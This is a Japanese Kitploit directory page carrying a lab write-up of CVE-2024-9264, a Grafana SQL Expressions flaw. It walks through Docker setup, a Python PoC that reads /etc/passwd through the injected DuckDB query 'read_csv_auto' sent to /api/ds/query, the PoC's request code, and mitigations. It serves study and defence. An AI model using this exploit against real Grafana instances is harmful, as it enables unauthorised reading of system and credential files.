Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-9264 | Kitploit
ツール/GitHubGitHub/yeonchoda/cve-2024-9264
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubyeonchoda/cve-2024-9264

CVE-2024-9264

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-9264

参考ドキュメント https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264

1. 脆弱性の概要

項目内容
CVECVE-2024-9264
対象Grafana (SQL Expressions)
影響Local File Inclusion(LFI), Remote Code Execution(RCE)
深刻度Critical (CVSS 9.9)
攻撃条件認証されたユーザー(Admin権限)
攻撃方法SQL Expression機能を悪用してDuckDB SQLを実行

Grafanaは、サーバー、アプリケーション、データベースなどのさまざまなデータを、ひと目でわかりやすいグラフやダッシュボードの形式で可視化するオープンソースのモニタリングツールです。

CVE-2024-9264は、GrafanaのSQL Expressions機能で発生する脆弱性です。

Grafana内部で使用するDuckDB SQLを適切に検証していないため、攻撃者はSQL Expressionを介して任意のDuckDB SQLを実行できます。

これを利用すると

  • サーバーのローカルファイルの読み取り(LFI)
  • システムコマンドの実行(RCE)
  • 機密情報の漏えい

などが可能です。

本演習では、Docker環境でGrafana 11.0.0を実行した後、PoCを使用して/etc/passwdファイルを読み取る方法で脆弱性を再現しました。


2. 環境構成

演習環境

構成内容
OSUbuntu
DockerDocker Compose
Grafana11.0.0

リポジトリのダウンロード

root@kitploit:~
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264

Dockerの実行

root@kitploit:~
docker-compose up

Grafanaの起動確認

root@kitploit:~
http://localhost:3000

Grafana起動

Grafanaのデフォルトアカウント情報は次のとおりです。

root@kitploit:~
ID : admin
PW : admin

3. 脆弱性の条件

脆弱性が発生するには、次の条件が満たされている必要があります。

  • 脆弱性のあるGrafanaバージョンを使用している
  • SQL Expressions機能が使用可能である
  • 攻撃者がGrafanaにログインできる
  • DuckDB SQL Expressionが有効になっている

本演習では、デフォルトの管理者(admin/admin)アカウントを使用しました。


4. 再現

PoCの実行

ローカルファイルを読み取るために、次のコマンドを実行しました。

root@kitploit:~
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"

PoCは次のSQL Expressionを生成します。

root@kitploit:~
SELECT * FROM read_csv_auto('/etc/passwd')

これをGrafanaの/api/ds/query APIに送信します。


結果の確認

GrafanaがSQLをそのまま実行し、/etc/passwdの内容を応答として返しました。

PoC.pyの実行

/etc/passwdファイル以外のファイルも閲覧可能です。

/etc/groupの出力

これにより、Local File Inclusionが正常に実行されたことを確認しました。


5. PoCコード

PoCはPythonで記述されており、次の処理を実行します。

  1. Grafana API(/api/ds/query)の呼び出し
  2. SQL Expressionの生成
  3. JSON形式でリクエストを送信
  4. 応答(JSON)のパース
  5. ファイル内容の出力

ファイル読み取り時に生成されるSQLは次のとおりです。

root@kitploit:~
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"

APIリクエストは次のように実行されます。

root@kitploit:~
response = requests.post(
    api_url,
    auth=(username, password),
    headers=headers,
    data=json.dumps(payload),
    verify=False
)

これはcurlコマンドでも確認できます。

curl

6. 対策

1. Grafanaを最新バージョンに更新

最も効果的な対策は、脆弱性が修正された最新バージョンに更新することです。


2. SQL Expressions機能の制限

不要なSQL Expression機能は無効化するか、最小権限の原則を適用して使用範囲を制限します。


3. 管理者アカウントの保護

  • デフォルトアカウント(admin/admin)の変更
  • 強力なパスワードの使用
  • 管理者アカウントを最小限に

結論

Docker環境でGrafana 11.0.0を構築した後、CVE-2024-9264の脆弱性を再現しました。

Pythonで記述されたPoCを使用してSQL Expression機能を悪用し、/etc/passwdファイルの読み取りに成功しました。これにより、SQL Expressionへの入力検証が不十分な場合、機密ファイルが公開される可能性があり、環境によってはリモートコード実行につながる可能性もあることを確認しました。 このような脆弱性は、最新バージョンへの更新、SQL Expression機能の制限、管理者アカウントの保護などのセキュリティ対策によって予防できます。

ツールをダウンロード